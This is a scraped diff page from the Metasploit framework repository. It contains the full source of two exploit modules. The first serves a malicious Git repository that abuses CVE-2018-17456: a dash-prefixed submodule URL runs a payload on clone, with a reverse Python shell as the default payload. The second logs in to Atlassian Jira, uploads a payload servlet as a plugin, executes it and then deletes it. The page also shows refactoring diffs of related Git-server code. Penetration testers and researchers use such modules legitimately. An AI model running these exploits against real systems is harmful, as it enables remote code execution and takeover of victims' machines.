author_time = rand(tstamp)
|
||||
commit_time = rand(author_time)
|
||||
tz_off = rand(10)
|
||||
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
|
||||
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
|
||||
"\n" \
|
||||
"Initial commit to open git repository for #{company}!\n"
|
||||
|
||||
if datastore['VERBOSE']
|
||||
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
|
||||
commit.each_line { |l| vprint_status(l.strip) }
|
||||
end
|
||||
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
|
||||
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
# build HEAD
|
||||
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
|
||||
|
@ -229,19 +219,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# TODO: finish building the fake repository
|
||||
end
|
||||
|
||||
# Build's a Git object
|
||||
def build_object(type, content)
|
||||
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
|
||||
header = "#{type} #{content.size}\0"
|
||||
store = header + content
|
||||
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
|
||||
end
|
||||
|
||||
# Returns the Git object path name that a file with the provided SHA1 will reside in
|
||||
def get_path(sha1)
|
||||
sha1[0...2] + '/' + sha1[2..40]
|
||||
end
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Git
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -97,38 +98,12 @@ url = ssh://-oProxyCommand=#{payload_cmd}/
|
|||
sha1, content = build_object('tree', tree)
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
|
||||
## build the supposed commit that dropped this file, which has a random user/company
|
||||
email = Rex::Text.rand_mail_address
|
||||
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
|
||||
full_name = "#{first.capitalize} #{last.capitalize}"
|
||||
tstamp = Time.now.to_i
|
||||
author_time = rand(tstamp)
|
||||
commit_time = rand(author_time)
|
||||
tz_off = rand(10)
|
||||
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
|
||||
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
|
||||
"\n" \
|
||||
"Initial commit to open git repository for #{company}!\n"
|
||||
|
||||
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
|
||||
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
|
||||
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
|
||||
end
|
||||
|
||||
# Build's a Git object
|
||||
def build_object(type, content)
|
||||
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
|
||||
header = "#{type} #{content.size}\0"
|
||||
store = header + content
|
||||
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
|
||||
end
|
||||
|
||||
# Returns the Git object path name that a file with the provided SHA1 will reside in
|
||||
def get_path(sha1)
|
||||
sha1[0...2] + '/' + sha1[2..40]
|
||||
end
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Git
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',
|
||||
'Description' => %q(
|
||||
This module exploits CVE-2018-17456, which affects Git
|
||||
versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.
|
||||
|
||||
When a submodule url which starts with a dash e.g "-u./payload" is passed
|
||||
as an argument to git clone, the file "payload" inside the repository
|
||||
is executed.
|
||||
|
||||
This module creates a fake git repository which contains a submodule
|
||||
containing the vulnerability. The vulnerability is triggered when the
|
||||
submodules are initialised (e.g git clone --recurse-submodules URL)
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-17456'],
|
||||
['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],
|
||||
['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],
|
||||
['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],
|
||||
],
|
||||
'DisclosureDate' => 'Oct 05 2018',
|
||||
'Targets' => [
|
||||
['Automatic',
|
||||
{
|
||||
'Platform' => [ 'unix' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' => {'Compat' => {'PayloadType' => 'python'}}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'},
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
|
||||
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def setup
|
||||
@repo_data = {
|
||||
git: { files: {} }
|
||||
}
|
||||
setup_git
|
||||
super
|
||||
end
|
||||
|
||||
def setup_git
|
||||
# URI must start with a /
|
||||
unless git_uri && git_uri.start_with?('/')
|
||||
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
|
||||
end
|
||||
|
||||
payload_content = "#!/bin/sh\n#{payload.raw} &"
|
||||
payload_file = Rex::Text.rand_text_alpha(4..6)
|
||||
|
||||
submodule_path = datastore['GIT_SUBMODULE']
|
||||
if submodule_path.blank?
|
||||
submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
|
||||
end
|
||||
unless submodule_path.include?":"
|
||||
fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
|
||||
end
|
||||
|
||||
gitmodules = "[submodule \"#{submodule_path}\"]
|
||||
path = #{submodule_path}
|
||||
url = -u./#{payload_file}
|
||||
"
|
||||
|
||||
sha1, content = build_object('blob', gitmodules)
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
payloadsha1, content = build_object('blob', payload_content)
|
||||
@repo_data[:git][:files]["/objects/#{get_path(payloadsha1)}"] = content
|
||||
|
||||
tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
|
||||
tree += "100744 #{payload_file}\0#{[payloadsha1].pack('H*')}"
|
||||
tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
|
||||
sha1, content = build_object('tree', tree)
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
|
||||
sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}")
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
|
||||
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
|
||||
end
|
||||
|
||||
def primer
|
||||
# add the git and mercurial URIs as necessary
|
||||
hardcoded_uripath(git_uri)
|
||||
git_url = URI.parse(get_uri).merge(git_uri)
|
||||
print_status("Malicious Git URI is #{git_url}")
|
||||
print_status("git clone --recurse-submodules #{git_url}")
|
||||
end
|
||||
|
||||
# handles git clone
|
||||
def on_request_uri(cli, req)
|
||||
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
|
||||
if @repo_data[:git][:files].key?(req_file)
|
||||
vprint_status("Sending Git #{req_file}")
|
||||
send_response(cli, @repo_data[:git][:files][req_file])
|
||||
else
|
||||
vprint_status("Git #{req_file} doesn't exist")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
|
||||
def git_uri
|
||||
return @git_uri if @git_uri
|
||||
if datastore['GIT_URI'].blank?
|
||||
@git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'
|
||||
else
|
||||
@git_uri = datastore['GIT_URI']
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,233 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to execute a payload on Atlassian Jira via
|
||||
the Universal Plugin Manager(UPM). The module requires valid login
|
||||
credentials to an account that has access to the plugin manager.
|
||||
The payload is uploaded as a JAR archive containing a servlet using
|
||||
a POST request against the UPM component. The check command will
|
||||
test the validity of user supplied credentials and test for access
|
||||
to the plugin manager.
|
||||
},
|
||||
'Author' => 'Alexander Gonzalez(dubfr33)',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
|
||||
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
|
||||
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
|
||||
],
|
||||
'Platform' => %w[java],
|
||||
'Targets' =>
|
||||
[
|
||||
['Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 22 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2990),
|
||||
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
|
||||
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
|
||||
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
login_res = query_login
|
||||
if login_res.nil?
|
||||
vprint_error('Unable to access the web application!')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
return CheckCode::Unknown unless login_res.code == 200
|
||||
@session_id = get_sid(login_res)
|
||||
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
|
||||
auth_res = do_auth
|
||||
good_sid = get_sid(auth_res)
|
||||
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
|
||||
res = query_upm(good_cookie)
|
||||
if res.nil?
|
||||
vprint_error('Unable to access the web application!')
|
||||
return CheckCode::Unknown
|
||||
elsif res.code == 200
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
vprint_status('Something went wrong, make sure host is up and options are correct!')
|
||||
vprint_status("HTTP Response Code: #{res.code}")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless access_login?
|
||||
fail_with(Failure::Unknown, 'Unable to access the web application!')
|
||||
end
|
||||
print_status('Retrieving Session ID and XSRF token...')
|
||||
auth_res = do_auth
|
||||
good_sid = get_sid(auth_res)
|
||||
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
|
||||
res = query_for_upm_token(good_cookie)
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
|
||||
end
|
||||
upm_token = res.headers['upm-token']
|
||||
upload_exec(upm_token, good_cookie)
|
||||
end
|
||||
|
||||
# Upload, execute, and remove servlet
|
||||
def upload_exec(upm_token, good_cookie)
|
||||
contents = ''
|
||||
name = Rex::Text.rand_text_alpha(8..12)
|
||||
|
||||
atlassian_plugin_xml = %Q{
|
||||
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
|
||||
<plugin-info>
|
||||
<description></description>
|
||||
<version>1.0</version>
|
||||
<vendor name="" url="" />
|
||||
|
||||
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
|
||||
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
|
||||
|
||||
</plugin-info>
|
||||
|
||||
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
|
||||
<description>"#{name}"</description>
|
||||
<url-pattern>/metasploit/PayloadServlet</url-pattern>
|
||||
</servlet>
|
||||
|
||||
</atlassian-plugin>
|
||||
}
|
||||
|
||||
# Generates .jar file for upload
|
||||
zip = payload.encoded_jar
|
||||
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
|
||||
|
||||
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
|
||||
zip.add_file('/metasploit/PayloadServlet.class', servlet)
|
||||
|
||||
contents = zip.pack
|
||||
|
||||
boundary = rand_text_numeric(27)
|
||||
|
||||
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
|
||||
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
|
||||
data << contents
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
print_status("Attempting to upload #{name}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'token' => "#{upm_token}"
|
||||
},
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Cookie' => good_cookie.to_s
|
||||
}
|
||||
}, 25)
|
||||
|
||||
unless res && res.code == 202
|
||||
print_status("Error uploading #{name}")
|
||||
print_status("HTTP Response Code: #{res.code}")
|
||||
print_status("Server Response: #{res.body}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Successfully uploaded #{name}")
|
||||
print_status("Executing #{name}")
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
|
||||
'method' => 'GET',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
|
||||
print_status("Deleting #{name}")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
|
||||
'method' => 'DELETE',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def access_login?
|
||||
res = query_login
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to access the web application!')
|
||||
end
|
||||
return false unless res && res.code == 200
|
||||
@session_id = get_sid(res)
|
||||
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
|
||||
return true
|
||||
end
|
||||
|
||||
# Sends GET request to login page so the HTTP response can be used
|
||||
def query_login
|
||||
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
|
||||
end
|
||||
|
||||
# Queries plugin manager to verify access
|
||||
def query_upm(good_cookie)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
|
||||
'method' => 'GET',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
end
|
||||
|
||||
# Queries API for response containing upm_token
|
||||
def query_for_upm_token(good_cookie)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
|
||||
'method' => 'GET',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
end
|
||||
|
||||
# Authenticates to webapp with user supplied credentials
|
||||
def do_auth
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
|
||||
'vars_post' => {
|
||||
'os_username' => datastore['HttpUsername'],
|
||||
'os_password' => datastore['HttpPassword'],
|
||||
'os_destination' => '',
|
||||
'user_role' => '',
|
||||
'atl_token' => '',
|
||||
'login' => 'Log+In'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Finds SID from HTTP response headers
|
||||
def get_sid(res)
|
||||
if res.nil?
|
||||
return '' if res.blank?
|
||||
end
|
||||
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue